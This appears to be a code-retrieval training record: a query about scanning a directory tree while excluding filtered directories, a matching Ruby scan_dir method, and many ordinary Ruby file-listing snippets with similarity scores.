"def do_add\n file_paths = ARGV.dup\n\n file_paths.map! { |path| File.expand_path(path) }\n \n file_paths.each do |path|\n ensure_exists(path)\n end\n\n audiofiles = file_paths.map do |path|\n af = nil # SCOPE\n TagLib::FileRef.open(path) do |ref|\n if ref.null?\n warnx(\"#{path}: not an audio file?\")\n exit 1\n end\n warnx(\"parsing #{path}\")\n tags = ref.tag\n af = AudioFile.new(path, tags.title, tags.artist, tags.album)\n end\n\n af\n end\n\n File.open(@playlist_path, \"w\") { |fd|\n fd.puts(PlaylistWriter.new(audiofiles).to_s)\n }\nend",
"def adjacent_files\n files = []\n files << file_names[x - 1] unless file == :a\n files << file_names[x + 1] unless file == :h \n files\n end",
"def files\n result = []\n @my_files.each do |f|\n result << f.fname if FileTest.file?(f.fname)\n end\n result\n end",
"def special_files=(files)\n @special_files = Set.new(files)\n end",
"def unmanifested_files\n mfs = manifested_files.map { |f| File.join bag_dir, f }\n bag_files.reject { |f| mfs.member? f }\n end",
"def unmanifested_files\n mfs = manifested_files.map { |f| File.join bag_dir, f }\n bag_files.reject { |f| mfs.member? f }\n end",
"def initialize(filepath)\n @path = filepath\n @@files_array << self\n self.files\n end",
"def remove_files(file_array)\n file_array.each do |x|\n begin\n if File.exists?(x)\n if File.writable?(x)\n puts\n puts \"Removing the unwanted file: #{x.green}\"\n File.delete(x)\n else\n puts\n puts \"You do not have the correct privileges to delete #{x.red}. It has NOT been deleted.\"\n end\n else\n puts\n puts \"The file #{x.red} could not be deleted as it could not be found.\"\n end\n rescue\n puts\n puts \"Uh-oh, we've hit a snag with the remove_files method.\".red\n puts \"The file #{x.red} could not be deleted, do you have the correct privileges to access it?\"\n end\n end\n end",
"def add( file, number )\n\t\t@files[ number ] = file\n\tend",
"def paths_to_add()\n (self[:files_added]||[]).map{|r|r[:path]} + (self[:files_renamed]||[]).map{|r|r[:new_path]}\n end",
"def tracked_files\n all_files.reject { |f| ignore_matcher.matched?(f) }\n end",
"def appendGlobs(arr, patterns); patterns.each { |p| arr << Dir.glob(p) }; arr.flatten end",
"def attach_files(files)\n # BY RIK\n files = [files] unless(files.is_a?(Array))\n files.each do |file|\n file.to_options!\n filename = file[:url]\n assit(filename)\n options = file[:options] || {}\n records = TaliaCore::DataTypes::FileRecord.create_from_url(filename, options)\n records.each {|rec| self.data_records << rec}\n end\n end",
"def check_for_fixes(files, marker=nil)\n marker ||= EDIT_MARKER\n list = []\n files.each do |file|\n next if File.directory?(file)\n File.open(file) do |f|\n f.grep(marker){ |l| list << file }\n end\n end\n list.uniq\n end",
"def exclude(*files)\n @exclude += files.flatten\n self\n end",
"def add_file(name)\n @files[name] = nil unless @files.has_key?(name)\n end",
"def delete_orphaned_arrays(study_id)\n study_file_ids = StudyFile.where(study_id:).pluck(:id)\n cursor = DataArray.where(study_id:, :study_file_id.nin => study_file_ids)\n cursor.delete_all if cursor.exists?\n end",
"def files() = files_path.glob('**/*')",
"def remove_note_list()\n remove_upload_ids = []\n @document.uploads.each do |upload|\n remove_upload_ids << upload\n end\n \n return remove_upload_ids\n end",
"def make_rdoc_filelist\n\t\tlist = self.project_files.dup\n\n\t\tlist.exclude do |fn|\n\t\t\tfn =~ %r:^(spec|data)/: || !fn.end_with?( *DOCUMENTATION_SUFFIXES )\n\t\tend\n\n\t\treturn list\n\tend",
"def combine_files!(infiles)\n make_files_by_datetime\n infiles.merge!(@files_by_datetime) do |key, oldval, newval|\n log_error(\"Key collision: #{key}, #{oldval}, #{newval}\")\n raise\n end\n end",
"def to_a\n @file_list.map{ |file| Pathname.new(file) }\n end",
"def delete_files(files)\n not_found = []\n files.each do |file|\n file_stored = Files.where({ '_id' => file[:uuid]}).first\n if file_stored.nil?\n logger.error 'File not found ' + file.to_s\n not_found << file\n else\n if file_stored['pkg_ref'] == 1\n # Referenced only once. Delete in this case\n file_stored.destroy\n del_ent_dict(file_stored, :files)\n file_md5 = Files.where('md5' => file_stored['md5'])\n if file_md5.size.to_i.zero?\n # Remove files from grid\n grid_fs = Mongoid::GridFs\n grid_fs.delete(file_stored['grid_fs_id'])\n end\n else\n # Referenced above once. Decrease counter\n file_stored.update_attributes(pkg_ref: file_stored['pkg_ref'] - 1)\n end\n # file_stored.destroy\n # del_ent_dict(file_stored, :files)\n #\n # # Remove files from grid\n # grid_fs = Mongoid::GridFs\n # grid_fs.delete(file_stored['grid_fs_id'])\n end\n end\n not_found\n end",
"def populate_files(path:)\n files = list_files(path: path)\n populated = []\n files.each do |file|\n populated << Manifests::FileEntry.new(file: { filepath: IngestUtils.relative_path(file, path) })\n end\n populated\n end",
"def new_files; end"
] |
[
"0.6505878",
"0.64405656",
"0.63403255",
"0.6202675",
"0.6177072",
"0.617306",
"0.61687225",
"0.6141138",
"0.6095605",
"0.60881835",
"0.60870177",
"0.6063705",
"0.6063705",
"0.6024314",
"0.60200024",
"0.60032105",
"0.5999055",
"0.59978247",
"0.59972477",
"0.5987395",
"0.596257",
"0.58821726",
"0.5878894",
"0.5876691",
"0.58684677",
"0.5838635",
"0.5833176",
"0.5832268",
"0.5824171",
"0.57967496",
"0.5792998",
"0.5787051",
"0.57851803",
"0.5766203",
"0.5756846",
"0.5745568",
"0.5741381",
"0.57377404",
"0.57363784",
"0.57361317",
"0.5714953",
"0.5698349",
"0.5697911",
"0.56919986",
"0.56801176",
"0.5678501",
"0.56722254",
"0.566993",
"0.56588584",
"0.5647466",
"0.56421477",
"0.56398296",
"0.5637142",
"0.5636171",
"0.5624387",
"0.5621476",
"0.56213903",
"0.56116426",
"0.5601062",
"0.5591747",
"0.55784994",
"0.55604434",
"0.55469733",
"0.55442107",
"0.55192494",
"0.55183554",
"0.5516706",
"0.5497897",
"0.5494067",
"0.5488635",
"0.54832494",
"0.54802346",
"0.5478441",
"0.547135",
"0.54711556",
"0.54658103",
"0.5462541",
"0.54613364",
"0.5459286",
"0.5458944",
"0.5455268",
"0.5455268",
"0.5454002",
"0.5452914",
"0.5452795",
"0.5449819",
"0.5447553",
"0.54421943",
"0.544009",
"0.5435467",
"0.541971",
"0.5418797",
"0.54121315",
"0.5411563",
"0.54088795",
"0.54041374",
"0.5393803",
"0.539322",
"0.5384221",
"0.5383549",
"0.5383042"
] |
0.0
|
-1
|
Scan a root dir and list all files. Exclude filtered directory
|
def scan_dir (dirname)
log "*** Inspect: " + dirname
Dir.foreach(dirname) do |filename|
path_cand = File.join(dirname , filename)
if File.directory?(path_cand)
#exams directories
if (filename != "." && filename != "..")
unless @filter_dir.index(filename)
#directory not filtered
@explore_dir.push(path_cand)
@dir_list << path_cand
end
end
else
# file to be listed
unless file_is_filtered?(path_cand)
# file is not filtered
#p path_cand
if file_has_admitted_extension?(path_cand)
@result_list.push(path_cand)
end
end
end #file.directory?
end
next_dir = @explore_dir.pop
scan_dir(next_dir) if next_dir
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list_files_in_directory dir\n files = Dir.glob File.join(dir, \"*\")\n\n normalized_file_list files, false, @options.exclude\n end",
"def get_filelist(root_path)\n array = Dir[root_path+'**/*'].reject {|fn| File.directory?(fn) }\nend",
"def scan\n results = []\n dirs.each do |dir|\n files_in_dir = Dir.glob(File.join(dir,'**','*'))\n results.concat(files_in_dir)\n end\n @known_files = results\n end",
"def scan_dir (dirname)\n log \"*** Inspect: \" + dirname\n Dir.foreach(dirname) do |filename|\n path_cand = File.join(dirname , filename)\n if File.directory?(path_cand)\n #exams directories\n if (filename != \".\" && filename != \"..\")\n unless @filter_dir.index(filename)\n #directory not filtered\n @explore_dir.push(path_cand)\n @dir_list << path_cand\n end\n end\n else\n # file to be listed\n unless file_is_filtered?(path_cand)\n # file is not filtered\n @result_list.push(path_cand)\n end\n end #file.directory?\n end\n next_dir = @explore_dir.pop\n scan_dir(next_dir) if next_dir \n end",
"def files &filter_block\n Dir[File.join(path, '**/*')].\n reject{|f| File.directory?(f) }.\n select{|f| f =~ filter_re }.\n sort.reverse[0..MAX_FILES].\n select(&filter_block)\n end",
"def files(root = '')\n files = []\n dir = @path.join(root)\n Dir.chdir(dir) do\n files = Dir.glob('**/*').select { |p| dir.join(p).file? }\n end\n end",
"def scan_dirs\n @scan_files = Array.new\n Dir.entries(@scan_dir).each do |scan|\n next if File.directory?(@scan_dir + '/' + scan)\n @scan_files << @scan_dir + '/' + scan\n end\n end",
"def recursive_file_list( root_dir)\n\t\treturn nil unless File.directory?(root_dir)\n\t\tlist = []\n\t\tDir.entries( root_dir).reject{|e| e=~/^\\./}.each { |e| \n\t\t\tpath = File.join( root_dir, e)\n\t\t\tif File.directory?( path)\n\t\t\t\t# puts \"Dir: #{path}\"\n\t\t\t\t list += recursive_file_list(path)\n\t\t\telsif File.file?(path)\n\t\t\t\t# puts \"File: #{path}\"\n\t\t\t\t list << path\n\t\t\tend\t\n\t\t}\n\t\tlist\n\tend",
"def filter_directories(modified_files); end",
"def file_list(dir, opts={})\r\n\topts={:recursive => false, :exclude => []}.merge(opts)\r\n\tf = []\r\n\tDir.glob(File.join(dir,\"*\")).each do | file |\r\n\t\tif File.file?(file) then\r\n\t\t\tnext if opts[:exclude].include? file\r\n\t\t\tf << file\r\n\t\telse\r\n\t\t\tf << file_list(file) if opts[:recursive] && File.directory?(file)\r\n\t\tend\r\n\tend\r\n\treturn f\r\nend",
"def traverse_files\n result = []\n paths = config[:paths].select { |p| File.exist?(p) }\n if paths.empty?\n log_warn \"search.paths #{config[:paths].inspect} do not exist\"\n return result\n end\n Find.find(*paths) do |path|\n is_dir = File.directory?(path)\n hidden = File.basename(path).start_with?('.')\n not_incl = config[:include] && !path_fnmatch_any?(path, config[:include])\n excl = path_fnmatch_any?(path, config[:exclude])\n if is_dir || hidden || not_incl || excl\n Find.prune if is_dir && (hidden || excl)\n else\n result << yield(path)\n end\n end\n result\n end",
"def list_all_in_current_directory\n Dir.glob('**/*').sort\nend",
"def get_files_in_path(path)\n puts \"Scanning for files in directory: #{path}\"\n Dir.entries(path).reject { |f| File.directory? f }\nend",
"def list_all_files_in_dir(target)\n all = Pathname.new(target).children\n dirs = all.select { |c| c.directory? }\n dirs.each do |d|\n Puppet.debug(\"Ignoring directory #{d.to_s}\")\n end\n all.select { |c| c.file? }\n end",
"def file_list(full_directory_path)\r\n path = File.join(full_directory_path, '*')\r\n Dir[path].reject { |fn| File.directory?(fn) || File.basename(fn) == @folder_config }\r\n end",
"def all_files_in_dir(p_dir)\n [File.join(p_dir, \"**\", \"*\"), File.join(p_dir, \"**\", \".*\")]\n end",
"def process_rest(dir)\n Dir.glob(\"#{dir}/**/*/**\").sort.each do |path|\n next if EXCLUDE_FILE_LIST[File.basename(path).downcase]\n\n yield(path)\n end\n end",
"def list_files_in_directory(dir, options)\n files = Dir.glob File.join(dir, \"*\")\n\n normalized_file_list options, files, false, options.exclude\n end",
"def list_files_in_directory(dir, options)\n files = Dir.glob File.join(dir, \"*\")\n\n normalized_file_list options, files, false, options.exclude\n end",
"def list_files_in_directory(dir, options)\n normalized_file_list(options, Dir.glob(File.join(dir, \"*\")), false, options.exclude)\n end",
"def files\n directory.files\n\n #@files ||= (\n # files = []\n # Dir.recurse(directory.to_s) do |path|\n # next if IGNORE_FILES.include?(File.basename(path))\n # files << path.sub(directory.to_s+'/','')\n # end\n # files.reject{ |f| File.match?(CONFIG_FILE) }\n #)\n end",
"def files(folder, ignore)\n all = Dir.glob(folder + \"/**/*\")\n ignore.each {|i| all = all - Dir.glob(i)}\n \n all\n end",
"def files\n @files ||= Dir.glob(File.join(@root, '**/*'), GLOB_FLAGS).select do |path|\n File.file?(path) && path !~ IGNORE_REGEX\n end\n end",
"def files(dir)\n Dir[dir + '/**/*'].reject do |filename|\n File.directory?(filename) ||\n filename =~ /(~|\\.orig|\\.rej|\\.bak)$/\n end\n end",
"def all_files_in(dir_name)\n Nanoc::FilesystemTools.all_files_in(dir_name)\n end",
"def blacklisted_dir_entries\n %w[. ..]\n end",
"def list\n\t\t\tbegin\n\n\t\t\t\t# Prepare result, array of absolute paths for found files\n # within given directory. Also empty cache\n\t\t\t\tresult = []\n @scan_history = {}\n\n\t\t\t\t# Recursively scan current folder for files\n\t\t\t\tFind.find(@scan_path) do |current_full_path|\n\n\t\t\t\t\t# Get filename, prune if dot\n\t\t\t\t\tfilename = File.basename(current_full_path)\n Find.prune if filename[0] == ?.\n\n # Get extension\n extension = File.extname(current_full_path)\n\n\t\t\t\t\t# Check for file extension, if provided\n\t\t\t\t\tif @scan_extension && extension.eql?(@scan_extension)\n\n # Get foldername\n folder_name = File.dirname(current_full_path)\n\n # Get number of files parsed in current folder, default 0\n folder_depth = @scan_history.fetch(folder_name, nil) || 0\n Logging[self].debug \"At #{folder_name}\" if folder_depth == 0\n\n # If the desired depth hasn't been reached\n unless folder_depth == @scan_depth\n\n # Increase current depth\n folder_depth += 1\n\n # Add and log result\n Logging[self].warn \"Result: '#{current_full_path}'\"\n result << current_full_path\n\n # Update cache, proceed no further in this folder\n @scan_history[folder_name] = folder_depth\n Find.prune\n end\n\t\t\t\t\telse\n\t\t\t\t\t\n\t\t\t\t\t\t# Either move beyond this file, if we're searching\n\t\t\t\t\t\t# for specific files (filtered by extension), or add\n # the path to the result (since no filter applied)\n\t\t\t\t\t\t@scan_extension ? next : (result << current_full_path)\n\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n end # find block\n\n # Log final result length\n Logging[self].info \"Retrieved #{result.length} results\"\n\n\t\t\t\t# Return result\n\t\t\t\tresult\n\n\t\t\t# Rescue any exceptions\n\t\t\trescue Exception => e\n\t\t\t\tLogging[self].error e\n nil\n\t\t\tend\n\t\tend",
"def find_files dir = test_dir\n glob file_pattern(dir)\n end",
"def files(recurse)\n if recurse\n Dir['**/*'].select { |f| File.file?(f) }\n else\n Dir.entries(Dir.pwd).select { |f| File.file? f }\n end\n end",
"def all_directories dir\n Dir[\"#{dir}**/\"]\nend",
"def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)",
"def discover_items_via_crawl(root)\n Dir.glob(\"#{root}/**/*\").select { |fname| File.file?(fname) }\n end",
"def filtered(files); end",
"def files_in(dir)\n Dir.chdir(dir) do\n Dir.glob('**/*').select { |f| File.file?(f) }\n end\nend",
"def visible_files_under(directory)\n result = []\n if File.exists?(directory)\n allFiles = Dir.entries(directory)\n dirs = allFiles.select{ |f| File.directory?(File.join(directory,f)) &&\n f != '.' && f != '..' }\n files = allFiles.reject{ |f| File.directory?(File.join(directory,f)) }\n result += files\n dirs.each do |subdir|\n result += visible_files_under(File.join(directory,subdir))\n end\n end\n return result\n end",
"def find_files_in_dir dir\n unless dir.exist?\n warn \"Can't find files in dir %s as it doesn't exist!\",\n dir.relative_path_from(project.path + '..').to_s\n return []\n end\n Dir.chdir dir do\n Dir['**/*'].map { |path| Pathname(path) }\n end\n end",
"def list_of_directories\n Dir.entries(\"./inspections\").select {|d| !d.start_with?(\".\") }\n end",
"def files_to_analyze\n require 'find'\n ignore_dirs = ['.git','bin','test','assets','lib','log','vendor','tmp','img', 'images', 'uploads', 'fonts']\n ignore_files = Regexp.union(/^\\..*$/i, /^.*(.md)$/i, /^.*(.json)$/i, /^.*(.yml)$/i, /^.*(.log)$/i, /^.*(.png)$/i, /^.*(.jpg)$/i, /^.*(.jpeg)$/i)\n final_files = []\n # for every file in repository - keep the files to process\n Find.find('.') do |path|\n path_name = File.basename(path)\n if FileTest.directory?(path)\n if ignore_dirs.include?(path_name)\n Find.prune\n else\n next\n end\n else\n if path_name.match(ignore_files)\n next\n else\n path.gsub!(/^\\.\\//, '')\n final_files.push(path)\n end\n end\n end\n return final_files\n end",
"def find_files folder\n unless @started\n Logger.<<(__FILE__,\"ERROR\",\"FileManager is not started yet !\")\n abort\n end\n if @subfolders\n files = sub_listing folder\n else\n path = ::File.join(@source.base_dir,folder)\n files = files_listing path\n end\n files = files_filtering files\n files = files.take(@take) if @take\n to_file(files)\n end",
"def find_files\n find_files_recursive(@build_result_dir, '')\n end",
"def all_files_under(path, &ignore)\n path = Pathname(path)\n\n if path.directory?\n path.children.flat_map do |child|\n all_files_under(child, &ignore)\n end.compact\n elsif path.file?\n if block_given? && ignore.call(path)\n []\n else\n [path]\n end\n else\n []\n end\n end",
"def file_list tree_root=nil\n tree_root ||= self.tree_root\n file_list = []\n current_dir = tree_root\n visit_entries self.files do |type, name|\n case type\n when :directory\n current_dir = current_dir + \"/\" + name\n when :file\n file_list.push(current_dir + \"/\" + name)\n else\n throw \"BAD VISIT TYREE TYPE. #{type}\"\n end\n end\n file_list\n end",
"def files(directory)\n pwd = Dir.pwd\n Dir.chdir(directory)\n files = []\n @relevant_type.each do |file_type|\n files += Dir.glob(\"**/*.#{file_type}\")\n end\n exclude_files(files, pwd)\n end",
"def scan_sub_dirs_in_path(path)\n puts 'Scanning destination directories'\n Dir.chdir(path)\n sub_dirs = Dir['*'].select { |o| File.directory?(o) }\n Dir.chdir(root_dir)\n sub_dirs\nend",
"def scan(dir,match=/\\.cha$/)\n files = []\n if not dir.split('/').pop =~ /^\\./ and File.directory?(dir)\n Dir.foreach(dir) do |file|\n path = File.join(dir,file)\n \n if File.directory?(path)\n# puts \"SCANNING #{path}\"\n scan(path,match).each { |pair| files.push pair }\n elsif file =~ match\n files.push path\n end\n end\n end\n\n return files\nend",
"def get_files(site, folder)\n files = []\n Dir.chdir(File.join(site.source, folder)) { files = filter_entries(Dir.glob('**/*.*')) }\n files\n end",
"def list_files( dir = directory )\n Dir.entries(directory).tap do |files|\n files.delete('.')\n files.delete('..')\n end\n end",
"def dir_files(dir)\n Find.find(dir).to_a.reject!{|f| File.directory?(f) }\nend",
"def find_files( directory, pattern='*')\n `find -H '#{directory}' -name \"#{pattern}\"`.split(\"\\n\").reject{|f| f==directory}\n end",
"def files(rootDir)\n Dir.foreach(rootDir) do |dir|\n if dir != \".\" && dir != \"..\"\n puts \"Processing \" + dir\n Dir.foreach(rootDir + \"/\" + dir) do |file|\n if file != \".\" && file != \"..\"\n open(rootDir + \"/\" + dir + \"/\" + file) do |f|\n yield(f)\n end\n end\n end\n end\n end\nend",
"def files() = files_path.glob('**/*')",
"def list\n Dir.glob(\"#{@path}/**/*\").select{|path| File.file?(path) }.map do |path|\n path.sub Regexp.new(\"^#{@path}\\/\"), ''\n end\n end",
"def get_files\n if @options[:recursive]\n `find \"#{@srcdir}\" -name '*.#{@extension}'`.split(\"\\n\")\n else\n Dir.glob(\"#{@srcdir}/*.#{@extension}\")\n end\n end",
"def directory_entries\n entries.select{ |f| File.directory?(File.join(path,f)) }\n #dirs = ::Dir.glob(\"#{path}/\")\n #dirs.collect{ |f| f.chomp('/') }\n end",
"def find\r\n scanner = DirectoryScanner.new\r\n scanner.setBasedir(@context.root)\r\n scanner.setCaseSensitive(false)\r\n scanner.setIncludes(@includes.to_java :String) unless @includes.empty?\r\n scanner.setExcludes(@excludes.to_java :String) unless @excludes.empty?\r\n scanner.scan\r\n scanner.included_files.collect{|f| @context.filepath_from_root(f) }\r\n end",
"def files_in_path\n Dir.glob(\"#{@path}/**/*/**\") | Dir.glob(\"#{@path}/**\")\n end",
"def list_other_files\n\n list = []\n\n Dir[\"#{@directory_path}/*\"].each do |entry|\n\n raise PackageError, \"Found subdirectory '#{entry}' in package\" if File.directory?(entry)\n raise PackageError, \"Found unreadable file '#{entry}' in package\" unless File.readable?(entry)\n\n filename = File.basename entry\n next if [ '.', '..', 'manifest.xml', 'marc.xml', 'mets.xml', \"#{directory_name}.xml\" ].include? filename\n list.push filename\n end\n\n return list\n end",
"def scanDir()\n suffix = \".config.json\"\n Dir.glob(\"#{@logBaseDir}/*/*#{suffix}\") {|path|\n #basename = File.basename(path, \".config.json\") ;\n basename = path.gsub(/^#{@logBaseDir}\\//,'').gsub(/#{suffix}$/,'') ;\n p [:basename, basename] ;\n @basenameList.push(basename) ;\n }\n @basenameList.sort!() ;\n return @basenameList ;\n end",
"def list_other_files\n\n list = []\n\n Dir[\"#{@directory_path}/*\"].each do |entry|\n\n raise PackageError, \"Found subdirectory '#{entry}' in package\" if File.directory?(entry)\n raise PackageError, \"Found unreadable file '#{entry}' in package\" unless File.readable?(entry)\n\n filename = File.basename entry\n next if [ '.', '..', 'manifest.xml', 'marc.xml', \"#{directory_name}.xml\" ].include? filename\n list.push filename\n end\n\n return list\n end",
"def get_files(directory)\n Dir.entries(directory).select { |entry| not is_dir?(\"#{directory}/#{entry}\") }\n end",
"def walk(dir, denyFilters = nil, allowFilters = nil)\n verifyConfigFilename\n ignoreList = []\n Find.find(dir) do |file|\n if File.file?(file)\n fileNameWithoutPath = File.basename(file)\n\n # ignore filenames which start with the config filename \n if (fileNameWithoutPath.upcase.start_with?(S3U_CONFIG_FILENAME.upcase))\n @log.debug(@logPrefix) {\"Ignore #{fileNameWithoutPath} due to .s3u filter\"} if (@log)\n ignoreList.push file\n elsif (filter = match?(fileNameWithoutPath, denyFilters))\n @log.debug(@logPrefix) {\"Ignore #{fileNameWithoutPath} due to deny filter: #{filter.to_s}\"} if (@log)\n ignoreList.push file\n elsif (filter = match?(fileNameWithoutPath, allowFilters))\n @log.debug(@logPrefix) {\"Pass #{fileNameWithoutPath} due to allow filter: #{filter.to_s}\"} if (@log)\n yield file\n else\n @log.debug(@logPrefix) {\"Ignore #{fileNameWithoutPath} due to no rule\"} if (@log)\n ignoreList.push file\n end\n \n end\n end\n ignoreList\n end",
"def process\n # here is a starting directory\n main_dir = '/home/john/code/ruby/files'\n # let's go to the directory we want\n Dir.chdir(main_dir)\n #print the present working directory (pwd)\n puts Dir.pwd\n # glob is stolen from Perl - list all the \n # matches for the wildcard pattern \"*\"\n listing = Dir.glob(\"*\")\n # put out the list\n puts listing.inspect\n\n\n #let's process the subdirectories and discard other files\n listing.each do |f|\n if File.directory? f\n processDirectory f\n else\n puts \"ignoring file: \" + f\n end\n end\n\n puts @power.inspect\nend",
"def visible_files\n result = []\n for dir in @dirs\n result += visible_files_under(dir)\n end\n return result\n end",
"def filtered_entries\n return [] unless exists?\n\n @filtered_entries ||=\n Dir.chdir(directory) do\n entry_filter.filter(entries).reject do |f|\n path = collection_dir(f)\n File.directory?(path) || entry_filter.symlink?(f)\n end\n end\n end",
"def process()\n scan_dir('.', '.')\n end",
"def read_dirs(indir)\n @all_files = []\n Dir.chdir(indir)\n all_dirs = Dir.glob('*').select { |f| File.directory? f }\n\n @all_files = Dir.glob(\"**/*\").select { |f| File.file? f }\n all_dirs = Dir.glob('*').select { |f| File.directory? f }\n all_dirs.each do |subdir|\n read_dir(subdir)\n end\n end",
"def getFilesInDirCompiler(path)\n files = []\n #search for all of the files in the directory\n Dir.foreach(path) do |filename|\n #dont include parent files\n next if filename == '.' || filename == '..'\n\n #dont include files that are not jack files\n next unless filename.to_s.include?(\"jack\")\n\n #push the file to the list\n files.push(path+\"/\"+filename)\n end\n\n return files\nend",
"def scan()\n scanDir() ;\n scanLogs() ;\n end",
"def excluded_files() = []",
"def find_files(base_dir, flags); end",
"def files\n file = Dir[self.path + \"/*\"]\n file.each do |file_name|\n file_name.slice!(self.path + \"/\")\n end\n file\n end",
"def everybody\n filter_tags = params.dig(:filters, :tags)\n\n files =\n UserFile.real_files.\n accessible_by_public.\n includes(:taggings).eager_load(user: :org).\n search_by_tags(filter_tags)\n\n files = files.where(parent_folder_id: @parent_folder_id) unless show_count\n files = FileService::FilesFilter.call(files, params[:filters])\n\n folders = explore_folders(@parent_folder_id).includes(:taggings).\n eager_load(user: :org).search_by_tags(filter_tags)\n folders = FileService::FilesFilter.call(folders, params[:filters])\n\n render_files_list(files: files, folders: folders)\n end",
"def all_files\n Dir.glob(\"#{template_path}/**/*\", File::FNM_DOTMATCH).reject{|path| File.directory?(path) }.sort\n end",
"def scan_dir(dir_name, force_scan = false)\n # Check whether this directory is source or destination\n src_dir = false\n @main_widget.get_src_dirlines.each do |dirline_widget|\n if (dirline_widget.get_dir_name == dir_name)\n src_dir = true\n break\n end\n end\n if force_scan\n # Remove all previously indexed fileinfo\n lst_fileinfo = @data.get_file_info_from_dir(dir_name)\n src_dir ? @data.src_indexes.remove(lst_fileinfo) : @data.dst_indexes.remove(lst_fileinfo)\n end\n @dir_scanner.add_dir_to_scan(dir_name, force_scan, src_dir)\n end",
"def list_directories(options = {})\n options = DEFAULTS.merge(options)\n\n path = options[:path]\n all = options[:all]\n\n path = \"#{path}/\" unless path == '' or path.end_with?('/')\n path = path+'**/' if all\n \n\n Dir.glob(\"#{path}*/\")\n end",
"def files_in_folder(folder, options={})\n pattern = \"**{,/*/**}/*\"\n # modify by Hub\n # add method glod : Dir.glob\n #Dir[File.join(folder, pattern)].uniq\n Dir.glob(File.join(folder, pattern)).uniq\n end",
"def list_files(dir)\n# Getting all the files names in the directory\n file_names = Dir[dir + \"*\"]\n return file_names\nend",
"def find(dirs); end",
"def files\n @files = []\n Find.find(@path) do |path|\n if File.directory? path\n if File.basename(path)[0] == ?.\n Find.prune # don't look any further into this directory.\n else\n next\n end\n else\n @files << path\n end\n end\n @files.size\n end",
"def collect_in_dir directory, recursive = true\n if not File.readable? directory\n puts \"#{directory} not readable. Skipping.\" if @verbose\n else\n directory += \"/\" if not directory.end_with? \"/\"\n if File.directory? directory\n files = Dir.entries directory\n files.reject! {|d| d.match /^\\.{1,2}$/} # ignore parent and self links\n files.map! { |f| directory + f }\n files.each do |fname|\n if File.directory?(fname) and recursive\n collect_in_dir fname\n elsif not File.readable? fname\n puts \"#{fname} not readable.Skipping.\" if @verbose\n elsif File.file? fname and File.extname(fname) == @extension # if no directory\n pkg_info = parse_pkg fname\n @files[fname] = pkg_info if pkg_info\n end\n end\n end\n end\n end",
"def get_entries(dir, subfolder)\n base = site.in_source_dir(dir, subfolder)\n return [] unless File.exist?(base)\n\n entries = Dir.chdir(base) { filter_entries(Dir[\"**/*\"], base) }\n entries.delete_if { |e| File.directory?(site.in_source_dir(base, e)) }\n end",
"def get_entries(dir, subfolder)\n base = site.in_source_dir(dir, subfolder)\n return [] unless File.exist?(base)\n\n entries = Dir.chdir(base) { filter_entries(Dir[\"**/*\"], base) }\n entries.delete_if { |e| File.directory?(site.in_source_dir(base, e)) }\n end",
"def directory!\n @file_list = @file_list.select{ |f| File.directory?(f) }\n end",
"def option_search_all(options)\n if(directory = options[:in_dir])\n search_in(:directory => directory, :for_files => search_all_files)\n else\n search_all_files\n end\n end",
"def list_files(options = {}) \n options = DEFAULTS.merge(options)\n\n path = options[:path]\n all = options[:all]\n extension = options[:extension]\n\n extension = \".#{extension}\" unless extension == '' or extension.start_with?('.') \n file_wildcard = \"*#{extension}\"\n\n path = \"#{path}/\" unless path == '' or path.end_with?('/')\n path = path+'**/' if all \n\n Dir.glob(\"#{path}#{file_wildcard}\")\n end",
"def list_files(dir)\n # Getting all the files names in the directory\n file_names = Dir[dir + \"*\"]\n\n return file_names\n\nend",
"def get_files(dir, name)\n Dir[\"#{dir}/**/#{name || \"*.xml\"}\"]\nend",
"def files_in_directory name, glob = '**' / '*'\n Dir[path / name / glob]\n end",
"def filter_dir_list!(dir_list, filter = nil)\n filter ||= [ /^(\\.)+$/, # . and ..\n /^\\.(.)*/ # beginning with .\n ]\n dir_list.delete_if { |element| match_filter?(element, filter) }\n end",
"def folders_filtering folders\n return folders unless @folder_regexp\n folders.select do |folder|\n test_name_by_date folder\n end\n end",
"def getAllXMLFiles() \n originalDir = Dir.pwd\n Dir.chdir @results_path\n filesArray = Array.new\n debug_msg \"#{@results_path}/**/*.xml\"\n Dir.glob(\"**/*.xml\") do |f|\n debug_msg \"XML: #{f}\"\n filesArray << \"#{@results_path}/\" + f\n end\n Dir.chdir originalDir\n return filesArray\n end",
"def target_files_in_dir(base_dir = Dir.pwd)\n # Support Windows: Backslashes from command-line -> forward slashes\n base_dir = base_dir.gsub(File::ALT_SEPARATOR, File::SEPARATOR) if File::ALT_SEPARATOR\n all_files = find_files(base_dir, File::FNM_DOTMATCH)\n # use file.include? for performance optimization\n hidden_files = all_files.select { |file| file.include?(HIDDEN_PATH_SUBSTRING) }\n base_dir_config = @config_store.for(base_dir)\n\n target_files = all_files.select do |file|\n to_inspect?(file, hidden_files, base_dir_config)\n end\n\n target_files.sort_by!(&order)\n end",
"def existing_files\n existing_dirs.each do |dir|\n Find.find(dir) do |path|\n if FileTest.directory?(path)\n if File.basename(path)[0] == '.'\n # Don't look any further into directories that start with a dot.\n Find.prune\n else\n next\n end\n elsif block_given?\n yield path\n end\n end\n end\n end",
"def getFiles(theArgs)\n\n\ttheFiles = [];\n\tpathsExclude = theArgs[:exclude];\n\n\ttheArgs[:paths].each do |pathRoot|\n\t\n\t\tif (File.exist?(pathRoot))\n\t\t\tFind.find(pathRoot) do |thePath|\n\t\t\t\tif (File.file?(thePath))\n\n\t\t\t\t\tif (!pathsExclude.include?(thePath))\n\t\t\t\t\t\tif (!FILES_EXCLUDE.include?(File.basename(thePath)))\n\t\t\t\t\t\t\ttheFiles << thePath;\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tputs \"Skipping #{pathRoot}, file not found\";\n\t\tend\n\tend\n\n\treturn theFiles;\n\nend",
"def all_files\n Dir[@test_pattern].sort\n end",
"def get_files_in_dir(path)\n Dir[\"#{path}*\"].sort! { |e1, e2| stringnum_comparison(e1, e2) }\n end",
"def get_entries(dir, subfolder); end",
"def read_files\n Dir['*', '*/*'].group_by { |f| f.ext || :_dir }.to_symkey\n end",
